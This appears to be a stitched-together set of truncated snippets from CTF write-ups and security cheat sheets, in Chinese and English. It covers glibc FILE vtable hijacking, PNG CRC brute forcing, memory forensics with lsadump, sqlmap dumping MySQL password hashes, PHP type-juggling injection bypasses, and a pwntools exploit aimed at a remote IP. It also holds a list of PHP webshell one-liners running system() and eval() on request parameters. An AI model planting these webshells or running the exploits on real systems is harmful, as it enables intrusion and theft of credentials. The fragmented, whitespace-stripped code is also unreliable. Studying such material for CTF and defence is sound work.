_IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW) _IO_flush_all_lockp函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函数便就可以拿到shell。 l
16)#读取图片中的CRC校验值print(crc32frombp)foriinrange(4000):#宽度1-4000进行枚举forjinrange(4000):#高度1-4000进行枚举data = crcbp[12:16] + \#创建一个数据段,内容为从文件内容的字节12到16(包含第12字节,不包含第16字节),这部分通常是固定的。
filename="/home/jeb/Documents/pin-in-CTF/examples/NDH2k13-crackme-500/crackme"cmd="/opt/pin-3.7-97619-g0d0c92f4f-gcc-linux/pin -t "+\"/opt/pin-3.7-97619-g0d0c92f4f-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so"+" -- "+filename # print shell.runCmd(cmd)cou...
prctl() is called with a first argument describing what to do (with values defined in <linux/prctl.h>), and further arguments with a significance depending on the first one. The first argument can be: 函数原型: #include<sys/prctl.h>intprctl(intoption,unsignedlongarg2,unsignedlongarg3,unsi...
镜像文件丢工具(https://github.com/RemusDBD/ctftools-all-in-one/releases)里面查看内存摘要 可以看到操作系统,取第一个就ok 第一次做内存取证,接下来就是学习 volatility,内存取证工具,其中的一个插件lsadump是一个用于从内存镜像中提取敏感安全信息的,特别是与 Windows 安全账户管理(SAM)和本地安全机构(LSA)...
(s) 'Password,`User`' for table 'user' in database 'mysql' [23:19:38] [INFO] recognized possible password hashes in column 'Password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [23:19:39] [INFO] writing hashes to ...
frompwnimport*#context.log_level = 'debug'#io = process('./one_byte')io=remote('101.32.220.189',30300)#gdb.attach(io,'b *$rebase(0x1285)')flag=b""flag+=b"b"foriinrange(100):payload=b'a'*17+b'\x57'io.recvuntil(b'with the result?')io.send(payload)io.recvuntil(b'gift: '...
PHP < 7.0.0 => true 可以拿來繞過注入 以下亦為合法(返回 True)字串: ' -.0' '0.' ' +2.1e5' ' -1.5E+25' '1.e5' in_array in_array('5 or 1=1', array(1, 2, 3, 4, 5)) true in_array('kaibro', array(0, 1, 2)) true in_array(array(), array('kai'=>false)) ...
Tools and Website Information Gathering Hash Crack Webshell PHP Webshell <?php system($_GET["cmd"]); ?> <?php system($_GET[1]); ?> <?php system("`$_GET[1]`"); ?> <?= system($_GET[cmd]); <?=`$_GET[1]`; <?php eval($_POST[cmd]);?> <?php echo `$_GET[1]`;...
So what we did in the script was enter our data that had been XOR-ed with 0x26. We defined an alternative Base64 alphabet and then looped through all variations of that alphabet by rotating the entire alphabet by one character per loop. We then checked each output to see if it was val...